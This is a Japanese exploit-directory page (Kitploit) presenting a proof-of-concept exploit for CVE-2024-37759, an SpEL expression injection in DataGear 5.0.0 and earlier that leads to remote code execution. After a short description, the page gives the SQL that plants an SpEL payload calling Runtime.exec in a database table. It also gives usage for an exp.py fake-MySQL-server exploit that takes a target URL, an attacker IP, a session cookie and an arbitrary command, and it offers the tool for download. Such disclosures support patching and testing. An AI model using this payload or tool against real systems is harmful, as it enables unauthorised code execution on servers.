Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-37759_PoC — CVE-2024-37759 の概念実証エクスプロイト。DataGear 5.0.0 以前の SpEL インジェクション脆弱性であり、巧妙に細工されたデータベーステーブルを介してリモートコード実行を可能にします。 | Kitploit
ツール/GitHubGitHub/crumbledwall/cve-2024-37759_poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubcrumbledwall/cve-2024-37759_poc

CVE-2024-37759_PoC

CVE-2024-37759 の概念実証エクスプロイト。DataGear 5.0.0 以前の SpEL インジェクション脆弱性であり、巧妙に細工されたデータベーステーブルを介してリモートコード実行を可能にします。

リポジトリを見る
5302年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-37759 PoC

説明

DataGear バージョン 5.0.0 以前には、リモートコード実行につながる SpEL 式インジェクションの脆弱性があります。

エクスプロイト

CVE エクスプロイトの詳細

/data/{schemaId}/{tableName}/view インターフェースにリクエストを送信すると、データベーステーブルに主キーがない場合、攻撃者は data フィールドに悪意のある SpEL 式を注入できます。「view」ボタンがクリックされると、SpEL 式が実行されます。

攻撃を実行するには、次のように悪意のあるデータベーステーブルを作成できます:

CREATE DATABASE evil;

CREATE TABLE `evil` (
  `name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");

次に、ログインし、スキーマ追加インターフェース /schema/saveAdd でこの MySQL データベースを追加します。その後、「view」ボタンをクリックすると、SpEL 式が実行されます。

エクスプロイトの使用方法

このエクスプロイトは MySQL_Fake_Server を改変したものです。まず、ポータルにログインして Cookie「JSESSIONID」を取得します。その後、このエクスプロイトを使用してコマンドを自動的に実行できます。

-t 引数は脆弱なターゲットサイトを指定し、-o は MySQL フェイクサーバーが到達可能なパブリック IP アドレスを指定し、-p はフェイクサーバーのポート、-s は「JSESSIONID」の Cookie 値、-c は実行したいコマンドを指定します。

python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"
ツールをダウンロード